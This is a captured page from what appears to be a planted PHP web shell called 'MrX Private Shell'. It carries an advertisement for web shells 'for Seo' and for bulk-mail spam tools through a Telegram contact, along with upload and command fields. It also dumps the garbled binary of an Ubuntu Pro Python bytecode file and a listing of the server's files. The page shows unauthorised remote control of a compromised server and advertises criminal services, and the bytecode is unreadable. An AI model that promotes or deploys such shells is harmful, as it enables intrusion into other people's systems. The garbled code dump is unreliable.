__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

UٵgA ���SrSSKrSSKrSSKrSSKJrJrJrJrJ	r	J
r
 SSKJr Sr
\\
\\\\44rSqSr\R$"SS\R&55rS	\\\4S
\\\44Sjr"SS
5rg)a$
This module is responsible for handling all events
that must be raised to the user somehow. The main idea
behind this module is to centralize all events that happens
during the execution of Pro commands and allows us to report
those events in real time or through a machine-readable format.
�N)�Any�Dict�List�Optional�Set�Union)�	safe_dumpz0.1c�0�[c
[5q[$�N)�
_event_logger�EventLogger���7/usr/lib/python3/dist-packages/uaclient/event_logger.py�get_event_loggerrs����#�
�
��rc�B�\rSrSrSr\"5r\"5r\"5rSr	g)�EventLoggerMode�z�
Defines event logger supported modes.
Currently, we only support the cli and machine-readable mode. On cli mode,
we will print to stdout/stderr any event that we receive. Otherwise, we
will store those events and parse them for the specified format.
rN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__�object�CLI�JSON�YAML�__static_attributes__rrrrrs����(�C��8�D��8�Drr�status�returnc�:�SSKJn [U"5R55VVs/sH	up#X#S.PM snnUS'UR	SS5 URS/5 UR
S/5HnSU;dMUR	S5 M U$s snnf)	Nr)�get_pro_environment)�name�value�environment_vars�origin��services�variants)�
uaclient.utilr"�sorted�items�pop�
setdefault�get)rr"r#r$�services     r�format_machine_readable_outputr1,s���1�"�"5�"7�"=�"=�"?�@�"�@�K�D��&�@�"�F����J�J�x������j�"�%�
�:�:�j�"�-���� ��K�K�
�#�.��M��'"s�Bc��\rSrSrSrSrS\4SjrS\4Sjr	S\
4S	jrS&S\S\\4S
jjr
S'S\S\\S\\
\\4S\\S\\S\\
\\44SjjrS(S\S\\S\\S\\S\\
\\44
SjjrS)S\S\\4SjjrS\4SjrS\\4SjrS\4SjrS\4S jrS!rS"rS#rS*S$jrS%rg
)+r
�Ec��/Ul/Ul[5Ul[5UlSUlSUl0Ul[RUl
g)NFr'��
_error_events�_warning_events�set�_processed_services�_failed_services�
_needs_reboot�_command�_output_contentrr�_event_logger_mode��selfs r�__init__�EventLogger.__init__FsM�����!���#&�5�� � #����"�����
�!���#2�"5�"5��rc��/Ul/Ul[5Ul[5UlSUlSUl0Ul[RUl
g)z/Reset the state of the event logger attributes.Fr'Nr5r?s r�reset�EventLogger.resetSsK�����!���#&�5�� � #����"�����
�!���"1�"5�"5��r�
event_modec��Xlg)zOSet the event logger mode.

We currently support the CLI, JSON and YAML modes.
N)r>)r@rFs  r�set_event_mode�EventLogger.set_event_mode^s
��
#-�r�commandc��Xlg)zkSet the event logger command.

The command will tell the process_events method which output method
to use.
N)r<)r@rJs  r�set_command�EventLogger.set_commandes	�� �
r�output_contentc��Xlg)zlSet the event logger output content.

The command will tell the process_events method which content
to use.
N)r=)r@rNs  r�set_output_content�EventLogger.set_output_contentms
�� .�rN�info_msg�endc��U(d[RnUR[R:Xa[XUS9 gg)z<
Print the info message if the event logger is on CLI mode.
)�filerSN)�sys�stdoutr>rr�print)r@rR�	file_typerSs    r�info�EventLogger.infous3����
�
�I��"�"�o�&9�&9�9��(��4�:r�msgr0�
event_dict�code�
event_type�additional_infoc�f�UcU(aSOSnUUUUS.nU(aXgS'URU5 g)Nr0�system)�typer0�message�message_coder`)�append)r@r\r0r]r^r_r`�event_entrys        r�_record_dict_event�EventLogger._record_dict_eventsD����&-��8�J���� �	
���-<�)�*����+�&r�	error_msg�
error_code�
error_typec	�~�UR[R:waURUUURUUUS9 gg)zu
Store an error in the event logger.

However, the error will only be stored if the event logger
is not on CLI mode.
)r\r0r]r^r_r`N)r>rrrhr6)r@rjrkr0rlr`s      r�error�EventLogger.error�sH���"�"�o�&9�&9�9��#�#����-�-��%� /�

$�
�:r�warning_msgc�x�UR[R:waURUUURS9 gg)zx
Store a warning in the event logger.

However, the warning will only be stored if the event logger
is not on CLI mode.
)r\r0r]N)r>rrrhr7)r@rpr0s   r�warning�EventLogger.warning�s?���"�"�o�&9�&9�9��#�#����/�/�
$�
�:rc�:�URRU5 gr)r9�add�r@r0s  r�service_processed�EventLogger.service_processed�s��� � �$�$�W�-rr(c�:�URRU5 gr)r:�update)r@r(s  r�services_failed�EventLogger.services_failed�s�����$�$�X�.rc�:�URRU5 gr)r:rurvs  r�service_failed�EventLogger.service_failed�s�����!�!�'�*r�reboot_requiredc��Xlgr)r;)r@r�s  r�needs_reboot�EventLogger.needs_reboot�s��,�rc��URVs1sHnUS(dMUSiM nn[[RURU55$s snf)Nr0)r6�listr8�unionr:)r@rn�services_with_errors   r�_generate_failed_services�%EventLogger._generate_failed_services�s]���+�+�
�+���Y��
�E�)��+�	�
�
�C�I�I�d�3�3�5H�I�J�J��
s
�A�	Ac��[UR(dSOS[UR5[UR	55URUR
URS.nSSKJn [[R"XSS95 g)N�success�failure)�_schema_version�result�processed_services�failed_services�errors�warningsr�r��DatetimeAwareJSONEncoderT��cls�	sort_keys)�JSON_SCHEMA_VERSIONr6r+r9r�r7r;r*r�rX�json�dumps)r@�responser�s   r�_process_events_services�$EventLogger._process_events_services�sn��2�'+�'9�'9�i�y�"(��)A�)A�"B�%�d�&D�&D�&F�G��(�(��,�,� �.�.�
��	;�
��J�J�x��N�	
rc��[UR5nUR(dSOSUS'URUS'URUS'UR[
R:Xa%SSKJn [[R"XSS	95 gUR[
R:Xa[[US
S95 gg)Nr�r�r�r�r�rr�Tr�F)�default_flow_style)r1r=r6r7r>rrr*r�rXr�r�rr	)r@�outputr�s   r�_process_events_status�"EventLogger._process_events_status�s���/��0D�0D�E��,0�,>�,>�9�I��x���-�-��x��!�1�1��z���"�"�o�&:�&:�:�>���
�
��D��
�
�
$�
$��(<�(<�
<��)�F�u�=�>�=rc��UR[R:wa2URS:XaUR	5 gUR5 gg)z�
Creates a json response based on all of the
events stored in the event logger.

The json response will only be created if the event logger
is not on CLI mode.
rN)r>rrr<r�r�r?s r�process_events�EventLogger.process_events�sA���"�"�o�&9�&9�9��}�}��(��+�+�-��-�-�/�	:r)r<r6r>r:r;r=r9r7)NN)NNN)NNNNr)r N)rrrrrArDrrH�strrLrrPrrZr�EventFieldErrorTyperhrnrrrwr{r~�boolr�r�r�r�r�rrrrr
r
Esv��6�	6�-��-� �3� �.��.�5�S�5�x��}�5�#�$(�48�'�
�'��#��'���c�#6�6�7�8�	'�
�s�m�'��S�M�
'�"�$�s�C�x�.�1�'�6%)�!%�$(�48�
����S�M���#��	�
�S�M��"�$�s�C�x�.�1�
�0�3���#���.��.�/��S�	�/�+�c�+�-�D�-�K�
�"?�"0rr
)r�enumr�rV�typingrrrrrr�
uaclient.yamlr	r�r�r�rr�unique�Enumrr1r
rrr�<module>r�s������
�8�8�#����u�S�$�s�C�x�.�%8�9�:���
�����
�d�i�i�
�
�
��4��S��>��d�3��8�n��2z0�z0r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager